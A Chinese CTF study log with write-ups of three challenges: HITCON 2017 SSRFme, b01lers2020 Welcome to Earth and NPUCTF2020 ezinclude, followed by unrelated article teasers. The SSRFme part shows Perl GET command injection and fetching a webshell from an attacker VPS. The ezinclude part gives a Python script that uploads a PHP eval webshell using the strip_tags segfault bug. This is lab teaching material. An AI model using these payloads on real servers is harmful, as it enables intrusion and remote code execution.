1月13日学习
[HITCON 2017]SSRFme

直接给了源代码,题目名称还是ssrf,那么该题大概率就是SSRF的漏洞,进行代码审计。
<?php// 检查是否存在 HTTP_X_FORWARDED_FOR 头,如果存在,则将其拆分为数组,并将第一个 IP 地址赋值给 REMOTE_ADDR。if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];}// 输出用户的远程地址(IP 地址)。echo $_SERVER["REMOTE_ADDR"];// 创建一个以用户 IP 地址(结合字符串 "orange")生成的 MD5 哈希值命名的沙盒目录。$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);@mkdir($sandbox); // 创建沙盒目录,如果目录已存在,错误将被抑制。@chdir($sandbox); // 切换到沙盒目录中。// 使用 shell 命令 GET 获取由 URL 参数指定的资源。$data = shell_exec("GET " . escapeshellarg($_GET["url"]));// 解析文件路径信息,获取文件名和目录名等信息。$info = pathinfo($_GET["filename"]);// 去掉目录名中的点号,防止目录穿越漏洞。$dir = str_replace(".", "", basename($info["dirname"]));@mkdir($dir); // 创建目录,如果目录已存在,错误将被抑制。@chdir($dir); // 切换到新创建的目录中。// 将获取到的数据写入指定的文件中。@file_put_contents(basename($info["basename"]), $data);// 高亮显示当前脚本文件的代码。highlight_file(__FILE__);
如果存在 HTTP_X_FORWARDED_FOR 头,则使用其第一个值,否则使用 REMOTE_ADDR。接着利用用户 IP 生成的 MD5 值来创建目录,确保每个用户的操作在不同的目录中进行。执行GET拼接shell命令,内容可控。将可控内容写入到可控文件中。
实现发送GET请求给当前GET参数’url‘,并将其结果保存在/sandbox/md5/filename中,其中filename为传入的Get参数。
构造?url=./../../&filename=123

然后访问,目录是 sandbox/(orange+ip)的MD5值/123


可以看到目录,但是不能够直接访问,尝试再多写一个../
?url=./../../../&filename=123

再加,最后为?url=./../../../../../&filename=123
已经可以看到根目录下的flag了。还可以看到readflag文件。那么思路就是利用readflag文件读取flag。
尝试redaflag
?url=/readflag&filename=123
但是访问后是下载了一个二进制文件

并没有执行,那么就尝试将根目录下flag文件的内容写入到我们创建的文件中
利用到bash -c
bash: 这是指 Bash Shell,一种常用的命令行解释器。-c: 选项-c表示 Bash 将执行接下来的字符串作为命令。
/?url=file:bash -c /readflag|&filename=bash -c /readflag
file: 协议:通常用于访问文件系统中的文件。
再次传参/?url=file:bash -c /readflag&filename=123
然后访问

但是回显是空的。
但是还可以使用另一种解法。
在vps上绑定一句话木马进行监听,然后通过GET命令去请求,用$_GET[“filename”]传入的值作为文件名保存。
python3 -m http.server
用python启用一个http服务。

构造pyalod进行请求
?url=172.17.xx.xx:8000/shell.php&filename=shell.php
然后再去访问,这样就把我们的马子给写进去了。
蚁剑直接连接

但是flag不可以直接打开,需要执行readflag

总结,该题可以使用两种解法,一个是利用原来的readflag文件读取flag,并将读取的结果输入到我们创建的文件中;
第二种就是利用vps,直接把vps的木马挂到我们创建的文件中就可以getshell。
该题的考点是ssrf,GET命令的一个漏洞,GET命令是用perl来执行,而prel的open可以执行命令。
这里的GET不是我么平常的GET方法传参,这里的GET是Lib for WWW in Perl中的命令 目的是模拟http的GET请求,GET函数底层就是调用了open处理。
这里GET一个根目录,功能类似于ls把它给列出来。
[b01lers2020]Welcome to Earth

一个页面,但是是名为/die/
查看源代码

什么都没有,把/die/删掉看一看

可以看到源代码,访问 /chase/

接着访问/leftt/

接着访问/shoot/

接着访问/door/

接着访问/static/js/door.js

接着访问/open/

接着访问/static/js/open_sesame.js

最后访问/static/js/fight.js

得到源代码
// Run to scramble original flag
//console.log(scramble(flag, action));
function scramble(flag, key) {for (var i = 0; i < key.length; i++) {let n = key.charCodeAt(i) % flag.length;let temp = flag[i];flag[i] = flag[n];flag[n] = temp;}return flag;
}function check_action() {var action = document.getElementById("action").value;var flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"];// TODO: unscramble function
}
flag被打乱了,还原flag。
# 从 itertools 库导入 permutations 函数,该函数可以生成给定可迭代对象的所有排列
from itertools import permutations# 定义一个包含若干字符串元素的列表 flag
flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]# 使用 permutations 函数生成 flag 列表中所有元素的排列
item = permutations(flag)# 遍历所有排列的结果
for i in item:# 将当前排列 (元组) 转换为字符串k = ''.join(list(i))# 检查字符串是否以 "pctf{hey_boys" 开头,并且以 "}" 结尾if k.startswith('pctf{hey_boys') and k[-1] == '}':# 如果条件满足,则打印这个符合条件的字符串print(k)

尝试后得到pctf{hey_boys_im_baaaaaaaaaack!}
该题只有排列组合的问题,就算一个一个排列着试都可以得到正确结果。
[NPUCTF2020]ezinclude

显示username和password是错误的。尝试查看源代码。

有了提示,<!--md5($secret.$name)===$pass -->
在进过尝试后发现name和pass是通过get进行传参的。
可以看到回显有个hash值,猜测可能是md5后的值,传参
/?name=1&pass=576322dd496b99d07b5b0f7fa7934a25

访问flflflflag.php

可以看到include($_GET["file"])
构造?file=php://filter/read=convert.base64-encode/resource=flflflflag.php
查看源代码

<html>
<head>
<script language="javascript" type="text/javascript">window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_åºé¢äºº_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>
w%ude($_GET["~)^"])
再扫一下目录,看看还有没有其他可以用的代码。
扫了半天什么都没有扫到,但是看了wp后,存在一个dir.php文件
?file=php://filter/read=convert.base64-encode/resource=dir.php

<?php
var_dump(scandir('/tmp'));
?>
dir.php能打印临时文件夹里的内容.
那么我们就可以把码写到临时文件中。
利用php7 segment fault特性(CVE-2018-14884)
php代码中使用php://filter的 strip_tags 过滤器, 可以让 php 执行的时候直接出现 Segment Fault , 这样 php 的垃圾回收机制就不会在继续执行 , 导致 POST 的文件会保存在系统的缓存目录下不会被清除而不像phpinfo那样上传的文件很快就会被删除,这样的情况下我们只需要知道其文件名就可以包含我们的恶意代码。
strip_tags 过滤器的使用。
使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,知道文件名就可以getshell。这个崩溃原因是存在一处空指针引用。向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留,临时文件会被保存在upload_tmp_dir所指定的目录下,默认为tmp文件夹。
构造payloud
/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd
import requests # 导入requests库,用于处理HTTP请求
from io import BytesIO # 导入BytesIO,用于在内存中操作字节数据# 定义需要执行的PHP代码
payload = "<?php eval($_POST[cmd]);?>" # 这是一个PHP代码片段,可以通过POST数据执行传入的命令# 准备要发送的数据,模拟一个文件上传
data = {'file': BytesIO(payload.encode())} # 将payload字符串转换为字节并包装在BytesIO对象中,模拟文件上传# 定义目标服务器的URL
url = "http://ec4fa282-4f36-4ae3-9a08-56112f3a5155.node5.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
# 这个URL使用了PHP过滤器来访问目标服务器上的'/etc/passwd'文件内容# 发送POST请求,带上准备好的数据和文件上传
r = requests.post(url=url, files=data, allow_redirects=False)
# 发送POST请求,包含'files'数据,'allow_redirects=False'防止自动重定向
运行脚本后访问/dir.php

得到tmp目录下刚刚我们上传的文件路径:/tmp/phpqUFJz7
利用文件包含

flag在里面。
总结:php://filter的 strip_tags 过滤器在php7导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,知道文件名就可以getshell。
相关文章:
1月13日学习
[HITCON 2017]SSRFme 直接给了源代码,题目名称还是ssrf,那么该题大概率就是SSRF的漏洞,进行代码审计。 <?php// 检查是否存在 HTTP_X_FORWARDED_FOR 头,如果存在,则将其拆分为数组,并将第一个 IP 地址…...
Steam个人开发者注册备记
具体的注册过程有很多同志已经写过了,这里只写一点自己搞得有点费劲的地方。有点久了记得也不多了。 1.姓名用汉语拼音,参考护照上的,一般是Zhang Sanli这样的格式,姓一个单词,名字一个单词(不管1个字还是…...
django在线考试系统
Django在线考试系统是一种基于Django框架开发的在线考试平台,它提供了完整的在线考试解决方案。 一、系统概述 Django在线考试系统旨在为用户提供便捷、高效的在线考试环境,满足教育机构、企业、个人等不同场景下的考试需求。通过该系统,用…...
Laravel 中 Cache::remember 的基本用途
在 Laravel 中,Cache::remember 方法用于缓存数据,以提高应用程序的性能。当需要从数据库或其他较慢的数据源中检索数据时,可以使用 Cache::remember 来检查请求的数据是否已经被缓存。如果数据已缓存,则直接从缓存中读取…...
前端进程和线程及介绍
前端开发中经常涉及到进程和线程的概念,特别是在浏览器中。理解这两个概念对于理解浏览器的工作机制和前端性能优化非常重要。以下是详细介绍: 1. 什么是进程和线程? 进程: 是操作系统分配资源的基本单位。一个程序启动后…...
OpenGL —— 基于Qt的视频播放器 - ffmpeg硬解码,QOpenGL渲染yuv420p或nv12视频(附源码)
运行效果 工程说明 源码 vertex.glsl...
Vue Router
Vue Router4 匹配 Vue3;Vue Router3 匹配 Vue2。 Vue Router 是 Vue.js 官方的路由管理器。Vue Router 基于路由和组件的映射关系,监听页面路径的变化,渲染对应的组件。 安装: npm install vue-router。 基本使用: …...
【黑灰产】人工查档业务产业链
2024年“查档”类型泄露事件快速上涨,涉及电商、外卖、社交、快递等行业数据。 近年来,陆续关注到非法数据交易产业链中游频繁出现的“查档”数据泄露情况,例如通过一个手机号,就可以查询这个手机号相关的所有身份信息࿰…...
114周二复盘 (178)
1、打新包,测试 2、白天为打包开始冲刺,问题不少,一堆细节问题, 但还是傍晚打包,不到3分钟,1.77G。 速度超预期。 3、开始测试。 基本还是达到预期的,但还是很多问题。 好在打包速度很快&am…...
day10_Structured Steaming
文章目录 Structured Steaming一、结构化流介绍(了解)1、有界和无界数据2、基本介绍3、使用三大步骤(掌握)4.回顾sparkSQL的词频统计案例 二、结构化流的编程模型(掌握)1、数据结构2、读取数据源2.1 File Source2.2 Socket Source…...
Python的秘密基地--[章节11] Python 性能优化与多线程编程
第11章:Python 性能优化与多线程编程 在开发复杂系统时,性能优化和并发编程是不可忽视的重点。Python 提供了多种工具和技术用于优化代码性能,并通过多线程、多进程等方式实现并发处理。本章将探讨如何在 Python 中提升性能,并实…...
drawDB docker部属
docker pull xinsodev/drawdb docker run --name some-drawdb -p 3000:80 -d xinsodev/drawdb浏览器访问:http://192.168.31.135:3000/...
探索图像编辑的无限可能——Adobe Photoshop全解析
文章目录 前言一、PS的历史二、PS的应用场景三、PS的功能及工具用法四、图层的概念五、调整与滤镜六、创建蒙版七、绘制形状与路径八、实战练习结语 前言 在当今数字化的世界里,视觉内容无处不在,而创建和编辑这些内容的能力已经成为许多行业的核心技能…...
【Vim Masterclass 笔记13】第 7 章:Vim 核心操作之——文本对象与宏操作 + S07L28:Vim 文本对象
文章目录 Section 7:Text Objects and MacrosS07L28 Text Objects1 文本对象的含义2 操作文本对象的基本语法3 操作光标所在的整个单词4 删除光标所在的整个句子5 操作光标所在的整个段落6 删除光标所在的中括号内的文本7 删除光标所在的小括号内的文本8 操作尖括号…...
Spring Boot教程之五十五:Spring Boot Kafka 消费者示例
Spring Boot Kafka 消费者示例 Spring Boot 是 Java 编程语言中最流行和使用最多的框架之一。它是一个基于微服务的框架,使用 Spring Boot 制作生产就绪的应用程序只需很少的时间。Spring Boot 可以轻松创建独立的、生产级的基于 Spring 的应用程序,您可…...
统计有序矩阵中的负数
统计有序矩阵中的负数 描述 给你一个 m * n 的矩阵 grid,矩阵中的元素无论是按行还是按列,都以非递增顺序排列。 请你统计并返回 grid 中 负数 的数目 示例 1: 输入:grid [[4,3,2,-1],[3,2,1,-1],[1,1,-1,-2],[-1,-1,-2,-3]]…...
【6】Word:海名公司文秘❗
目录 题目 List.docx Word.docx List.docx和Word.docx 题目 List.docx 选中1/4全角空格复制→选中全部文本→开始→替换:粘贴将1/4全角空格 替换成 空格选中全部文本→插入→表格→将文本转化成表格→勾选和布局→自动调整→勾选 选中第一列,单机右键…...
c语言 --- 字符串
创建字符串 1. 使用字符数组创建字符串 #include <stdio.h>int main() {char str[20] "Hello, world!";str[0] h; // 修改字符串的第一个字符printf("%s\n", str); // 输出:hello, world!return 0; }解释: 数组大小 20 表…...
LeetCode 热题 100_二叉树的最近公共祖先(49_236_中等_C++)(二叉树;深度优先搜索)
LeetCode 热题 100_二叉树的最近公共祖先(49_236) 题目描述:输入输出样例:题解:解题思路:思路一(深度优先搜索): 代码实现代码实现(思路一(深度优…...
(三)c#中const、static、readonly的区别
在 C# 中,const、static 和 readonly 都是用来定义不可变的值,但它们有一些关键的区别。让我们详细比较一下这三者的用途和特点: 1. const(常量) 编译时常量:const 用于声明常量,其值必须在编…...
新谈设计模式 Chapter 05 — 原型模式 Prototype
Chapter 05 — 原型模式 Prototype灵魂速记:复印机——照着原件复制一份,省得从头再造。秒懂类比 你有一份精心排版的简历模板。每次投不同公司,你不是从头写一份新的,而是复印一份,改几个字。 原型模式就是这个"…...
如何用QtScrcpy实现跨平台Android设备高效控制:从连接到精通的完整指南
如何用QtScrcpy实现跨平台Android设备高效控制:从连接到精通的完整指南 【免费下载链接】QtScrcpy Android real-time display control software 项目地址: https://gitcode.com/GitHub_Trending/qt/QtScrcpy QtScrcpy是一款功能强大的跨平台Android控制工具…...
保姆级教程:用国产龙虾AiPy自己打造全链路写文到一键发布
近期在探索 AI 自动化办公场景,尝试通过智能体工具自主构建功能插件,实现从内容创作、图文排版到公众号上传发布的全流程自动化,同时搭配远程控制功能,实现户外离线指令触发、电脑端自动执行,大幅降低自媒体日更的操作…...
想找济南市中区靠谱装修施工工艺商家?这家公司值得一探!
26年初,随着济南市中区新盘交付,家装成为许多业主生活中的一件大事。然而,家装市场鱼龙混杂,价格不透明、施工质量参差不齐等问题让不少业主头疼不已。今天,我们就来深入探讨几家本地的装修公司,为大家的家…...
Rust会议活动awesome-rust:技术大会与社区聚会信息
Rust会议活动awesome-rust:技术大会与社区聚会信息 你是否还在为寻找Rust技术大会与社区聚会信息而烦恼?是否希望能一站式获取全球Rust相关活动,与同行交流学习?本文将为你详细介绍如何通过awesome-rust项目了解和参与Rust会议活…...
为什么H5SC是每个开发者必备的安全工具?终极HTML5安全指南
为什么H5SC是每个开发者必备的安全工具?终极HTML5安全指南 【免费下载链接】H5SC HTML5 Security Cheatsheet - A collection of HTML5 related XSS attack vectors 项目地址: https://gitcode.com/gh_mirrors/h5/H5SC 在当今Web开发领域,HTML5安…...
新手零基础入门,快马ai带你三步搞定win10下的opencl开发环境
新手零基础入门,快马AI带你三步搞定Win10下的OpenCL开发环境 最近想学习GPU并行计算,发现OpenCL是个不错的入门选择。但作为新手,在Windows 10上配置开发环境时遇到了不少坑。经过一番摸索,终于找到了简单高效的解决方案…...
OpenClaw镜像体验:在星图GPU平台快速试用SecGPT-14B安全分析
OpenClaw镜像体验:在星图GPU平台快速试用SecGPT-14B安全分析 1. 为什么选择云平台体验OpenClaw 第一次接触OpenClaw时,我被它的自动化能力吸引,但本地安装过程让我望而却步。作为一个经常需要评估各种AI工具的安全工程师,我发现…...
PIDNet (ArXiv‘2022)语义分割环境配置、PIDNet (ArXiv‘2022)语义分割模型代跑训练、PIDNet (ArXiv‘2022)语义分割模型改进创新PIDNet (Ar
PIDNet (ArXiv2022)语义分割环境配置、 PIDNet (ArXiv2022)语义分割模型代跑训练、 PIDNet (ArXiv2022)语义分割模型改进创新 PIDNet (ArXiv2022)语义分割环境配置:Windows、Ubuntu、Centos、Macos等系统环境,如果电脑拥有显卡,可配置GPU版本…...
如何用Notepad--打造跨平台开发环境:国产编辑器的逆袭之路
如何用Notepad--打造跨平台开发环境:国产编辑器的逆袭之路 【免费下载链接】notepad-- 一个支持windows/linux/mac的文本编辑器,目标是做中国人自己的编辑器,来自中国。 项目地址: https://gitcode.com/GitHub_Trending/no/notepad-- …...
